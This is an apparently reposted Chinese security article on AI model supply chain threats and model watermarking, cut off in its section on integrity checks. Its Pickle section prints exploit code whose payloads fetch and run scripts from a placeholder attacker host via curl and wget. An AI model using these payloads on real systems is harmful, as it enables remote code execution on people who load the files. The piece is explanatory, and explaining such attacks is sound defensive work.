文章总结: 本文系统梳理AI模型供应链安全与模型水印领域的核心理论、攻击方法、防御技术及评估体系。重点分析了模型文件格式安全风险,特别是Pickle序列化的任意代码执行漏洞,并对比了SafeTensors等安全格式。文章还涵盖了模型水印技术、知识产权保护及完整性验证方法,为AI安全从业者提供了全面的参考框架。 综合评分: 85 文章分类: AI安全,安全建设,数据安全,安全工具,技术标准
模型供应链安全与水印
原创
pandazhengzheng pandazhengzheng
安全分析与研究
2026年7月19日 20:00 广东
在小说阅读器读本章
去阅读
本文档系统梳理 AI 模型供应链安全(Model Supply Chain Security)与模型水印(Model Watermarking)领域的核心理论、攻击方法、防御技术、评估体系与前沿研究动态,适用于 AI 安全工程师、MLOps 从业者、模型版权保护研究者及 AI 治理从业者参考。
目录
- 基础概念与威胁全景
- 模型文件格式安全
- 预训练模型的供应链攻击
- 模型水印技术体系
- AI生成内容的溯源与水印
- 模型窃取与知识产权保护
- 模型完整性验证
- 防御技术体系
- 评估框架与标准
- 前沿研究议题
- 工具、数据集与基准
- 参考资料
一、基础概念与威胁全景
1.1 AI 模型供应链的定义
AI 模型供应链是指从数据收集、模型训练、发布分发到最终部署应用的完整价值链条。与传统软件供应链类似,每个环节都存在被恶意攻击或意外破坏的风险。
AI 模型供应链完整图谱:
数据层:
├── 原始数据收集(网络爬虫、众包标注、传感器)
├── 数据清洗与预处理
└── 数据集发布(HuggingFace Datasets、Kaggle 等)
预训练层:
├── 基础模型训练(OpenAI、Anthropic、Google、Meta 等)
├── 开源基础模型发布(LLaMA、Mistral、Falcon 等)
└── 模型托管平台(HuggingFace Hub、Ollama、CivitAI 等)
微调层:
├── 指令微调(SFT)
├── 对齐训练(RLHF/DPO)
└── 领域专用微调(医疗、法律、代码等)
部署层:
├── 推理框架(ONNX、TensorRT、llama.cpp)
├── 模型服务(MLaaS API)
└── 边缘/本地部署
应用层:
├── 直接 API 调用
├── RAG 集成
└── Agent 系统集成
每个环节的攻击面:
数据层:投毒攻击、版权侵犯
预训练层:后门植入、恶意模型发布
微调层:对齐破坏、后门传递
部署层:模型文件篡改、恶意序列化
应用层:提示注入、模型窃取
1.2 供应链威胁分类
威胁类型全景:
完整性威胁(Integrity Threats):
├── 恶意模型文件(包含恶意代码的序列化格式)
├── 后门植入(训练阶段或权重修改)
├── 参数篡改(部署前对权重的细微修改)
└── 数字签名伪造(冒充合法发布者)
保密性威胁(Confidentiality Threats):
├── 模型窃取(API 查询重建模型)
├── 训练数据提取(从模型恢复训练数据)
├── 系统提示泄露
└── 专有架构逆向
可用性威胁(Availability Threats):
├── 恶意模型导致服务崩溃
├── 资源耗尽攻击(触发极高计算消耗的输入)
└── 投毒导致模型性能退化
知识产权威胁(IP Threats):
├── 模型权重未授权复制与重发布
├── 未授权的商业使用
├── 模型蒸馏绕过许可
└── 训练数据版权侵犯
1.3 供应链安全的量化规模
威胁规模评估(2023-2024 数据):
HuggingFace Hub 安全研究(Kaspersky/JFrog, 2023):
├── 扫描 40 万+ 公开模型,发现 ~700 个包含
│ 潜在恶意代码的模型文件
├── 其中约 77 个模型包含可执行的恶意代码
└── Pickle 格式模型:约 40% 无任何签名验证
恶意模型案例(公开披露):
├── 2023 年发现多个伪装成合法 Stable Diffusion
│ 模型的恶意文件,加载时执行远程代码下载
├── 伪装成 GPT-4 的本地部署"泄露版本"
│ 实际包含反向连接后门
└── CivitAI 平台多次发现含恶意代码的图像模型
行业依赖风险:
超过 50% 的企业 AI 项目使用 HuggingFace Hub
上的开源模型作为基础,而大多数没有
系统性的供应链安全检查流程
二、模型文件格式安全
2.1 Pickle 序列化的安全漏洞
PyTorch 默认格式(.pt / .pth)的根本安全问题:
Pickle 协议的危险性:
Python Pickle 是一个通用序列化格式
反序列化时会执行任意 Python 代码
漏洞原理:
class MaliciousClass:
def __reduce__(self):
# __reduce__ 在反序列化时被调用
return (os.system, ("curl http://attacker.com/shell.sh | sh",))
恶意模型创建:
import torch
import pickle
class Exploit(object):
def __reduce__(self):
cmd = "wget http://attacker.com/malware -O /tmp/m && chmod +x /tmp/m && /tmp/m"
return (os.system, (cmd,))
# 将恶意对象混入模型
malicious_payload = {'model_state': Exploit()}
torch.save(malicious_payload, 'malicious_model.pt')
攻击触发:
victim_model = torch.load('malicious_model.pt')
# 加载时立即执行恶意代码,受害者无感知
攻击统计:
JFrog 2023 研究发现,HuggingFace 上存在多个
包含此类 Pickle 攻击的"模型"文件
加载时直接在受害者机器上执行远程代码
2.2 不同模型格式的安全对比
安全格式对比评估:
┌──────────────────┬────────┬──────────┬──────────┬──────────┐
│ 格式 │ 安全性 │ 任意代码 │ 数字签名 │ 兼容性 │
│ │ 等级 │ 执行风险 │ 支持 │ │
├──────────────────┼────────┼──────────┼──────────┼──────────┤
│ Pickle (.pt/.pth)│ 极低 │ 高度危险 │ 无内置 │ 最广泛 │
│ SafeTensors │ 高 │ 无 │ 外部支持 │ 主流支持 │
│ GGUF │ 中高 │ 低 │ 无内置 │ llama.cpp│
│ ONNX │ 中 │ 低 │ 外部支持 │ 广泛 │
│ TensorFlow SavedModel│中 │ 低风险 │ 外部支持 │ TF生态 │
│ HDF5 (Keras) │ 中 │ 低 │ 外部支持 │ Keras │
│ GGML │ 中 │ 低 │ 无 │ 边缘端 │
└──────────────────┴────────┴──────────┴──────────┴──────────┘
SafeTensors 的设计原则(Hugging Face 2022):
├── 纯数据格式:只存储张量数值,不包含可执行代码
├── 快速加载:内存映射(mmap)支持,不需完整读入内存
├── 跨语言:Python、Rust、JavaScript 均有实现
└── 文件头验证:可在加载前验证文件结构完整性
SafeTensors 格式结构:
[8 bytes: header_size (uint64_le)]
[header_size bytes: JSON header]
[tensor data bytes: raw tensor values]
JSON header 示例:
{
"weight": {"dtype":"F16","shape":[768,768],"data_offsets":[0,1179648]},
"__metadata__": {"format": "pt"}
}
2.3 ONNX 与 TensorFlow 格式安全
ONNX(Open Neural Network Exchange)安全分析:
ONNX 的自定义操作风险:
ONNX 允许注册自定义算子(Custom Operators)
恶意自定义算子可以包含任意代码:
import onnx
# 注册恶意自定义算子
# 在模型推理时执行任意操作系统命令
ONNX 模型验证机制:
内置验证:onnx.checker.check_model() 只检查结构合法性
不检查算子实现的安全性
需要额外的沙箱或审计机制
TensorFlow SavedModel 的 Lambda 层风险:
# 包含 Lambda 层的 Keras 模型可执行任意代码
model = tf.keras.Sequential([
tf.keras.layers.Lambda(lambda x: tf.py_function(
malicious_function, [x], tf.float32
))
])
# 加载此模型时执行 malicious_function
缓解方案:
使用 tf.saved_model.load() 的 trust_level 参数
设置 FULL_INTEGRITY_CHECKS 防止执行任意代码
但此选项在某些场景下会破坏复杂模型的加载
2.4 模型文件完整性验证
基于哈希的完整性验证:
`
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全分析与研究 pandazhengzheng pandazhengzheng《模型供应链安全与水印》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论